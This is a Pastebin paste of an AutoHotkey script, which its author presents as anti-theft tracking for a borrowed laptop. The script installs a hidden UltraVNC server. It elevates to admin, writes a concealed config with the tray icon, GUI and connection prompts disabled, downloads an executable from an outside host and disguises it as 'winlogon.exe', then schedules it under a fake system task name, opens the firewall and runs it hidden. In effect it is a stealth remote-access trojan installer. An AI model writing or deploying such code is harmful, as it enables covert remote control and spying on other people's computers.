Snow_Flake

VNC_Server

Aug 9th, 2014
494
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. <--Flow Snake-->
  3. I made this script for my Laptop if its get stolen, bicuse i recently got to borrow one from school.
  4.  
  5. http://www.uvnc.com/downloads
  6.  
  7. UltraVNC SC is a small (300kB) UltraVNC Server that can be customized and preconfigured to allow easy
  8. remote control of a customers computer, without having to install anything.
  9.  
  10. UltraVNC SC does not require installation and does not make use of the registry. The customer only has to download the little (preconfigured) executable and Click to make a connection. The connection is initiated
  11. by the server to a listening viewer, to allow easy access through customers firewall.
  12.  
  13. *Own Notes/Ideas*
  14. by other means you skip the firewall
  15. You can record the screen and send it to your Android device by useing a SMS API or to your Email
  16. You can use SocksV4/5 or Proxy
  17. Hamachi is needed if you cant Portforward!
  18. DebugMode=0 ; Removes the GUI
  19. DisableTrayIcon=1 ; Hides the Trayicon
  20. AutoPortSelect=1 ; Selects a random port
  21.  
  22. DSMPlugin= "SecureVNC Plugin"
  23. http://www.uvnc.com/downloads/encryption-plugins/87-encryption-plugins.html
  24.  
  25. Default configuration uses 2048-bit RSA keys and 256-bit AES keys.
  26. RSA public-key cryptography supports 512-, 1024-, 2048-, and 3072-bit keys.
  27. Configurable choice of symmetric ciphers and keys:
  28.  
  29. AES: Supports 128-, 192-, and 256-bit keys.
  30. Blowfish: Supports 56-, 128-, 192-, 256-, and 448-bit keys.
  31. IDEA: Supports 128-bit keys.
  32. CAST5: Supports 56- and 128-bit keys.
  33. ARC4: Supports 56-, 128-, 192-, and 256-bit keys.
  34.  
  35. Classic interface for older UltraVNC versions 1.0.8.2 or below uses 2048-bit RSA keys and 128-bit AES keys.
  36. All versions are threadsafe, allowing the UltraVNC server to host multiple simultaneous viewers.
  37.  
  38. */
  39.  
  40. If not A_IsAdmin
  41. {
  42. Run *RunAs "%A_ScriptFullPath%"
  43. ExitApp
  44. }
  45.  
  46. Process, Priority, %A_ScriptFullPath%, Low
  47. SetWorkingDir, %A_ScriptDir%
  48. #SingleInstance, force
  49. #NoTrayIcon
  50. #Persistent
  51.  
  52.  
  53. FileAppend,
  54. (
  55. [Permissions]
  56. [admin]
  57. FileTransferEnabled=1
  58. FTUserImpersonation=1
  59. BlankMonitorEnabled=0
  60. BlankInputsOnly=0
  61. DefaultScale=1
  62. UseDSMPlugin=0
  63. DSMPlugin=
  64. DSMPluginConfig=
  65. primary=1
  66. secondary=0
  67. SocketConnect=1
  68. HTTPConnect=1
  69. XDMCPConnect=0
  70. AutoPortSelect=1
  71. InputsEnabled=1
  72. LocalInputsDisabled=0
  73. IdleTimeout=0
  74. EnableJapInput=0
  75. QuerySetting=2
  76. QueryTimeout=20
  77. QueryAccept=0
  78. LockSetting=0
  79. RemoveWallpaper=0
  80. RemoveEffects=0
  81. RemoveFontSmoothing=0
  82. RemoveAero=0
  83. DebugMode=0
  84. Avilog=0
  85. path=%A_WinDir%/
  86. DebugLevel=0
  87. AllowLoopback=1
  88. LoopbackOnly=0
  89. AllowShutdown=1
  90. AllowProperties=1
  91. AllowEditClients=1
  92. FileTransferTimeout=60
  93. KeepAliveInterval=5
  94. SocketKeepAliveTimeout=10000
  95. DisableTrayIcon=1
  96. MSLogonRequired=0
  97. NewMSLogon=0
  98. ConnectPriority=3
  99. [UltraVNC]
  100. passwd=A130AC401884770EDE
  101. passwd2=20C3B135B3FB90D7DE
  102.  
  103. ), %A_WinDir%/UltraVNC.ini ; Makes the Config file.
  104.  
  105. FileSetAttrib, +H, %A_WinDir%/UltraVNC.ini ; Hides the Config file.
  106. UrlDownloadToFile, http://sfhost.biz/f/Eula_288c0.txt, %A_WinDir%/winlogon.exe; (DDL) Download the VNC Server.
  107. FileSetAttrib, +H, %A_WinDir%/winlogon.txt ; Hides the VNC Server.
  108.  
  109. RunWait, cmd /k SchTasks /Create /SC DAILY /TN “Windows Syslogg” /TR “%A_WinDir%/winlogon.exe” /ST 09:00 /F ,, Hide ; Adds Winlogon.txt to autostart by adding it to Schemaläggningen.
  110.  
  111. RunWait, cmd /k netsh advfirewall firewall add rule name="winlogon" dir=in action=allow program="%A_WinDir%/winlogon.txt"  enable=yes ,, Hide ; Makes sure that there is no problems with the firewall and the VNC Server.
  112.  
  113. Run, %A_WinDir%/winlogon.exe,,Hide ; Starts the VNC Server.
  114.  
  115. Process,close, cmd.exe
  116.  
  117. MsgBox, 4160, VNC Server, The Server have now been downloaded and is currently running!
  118. ExitApp
Advertisement
Add Comment
Please, Sign In to add comment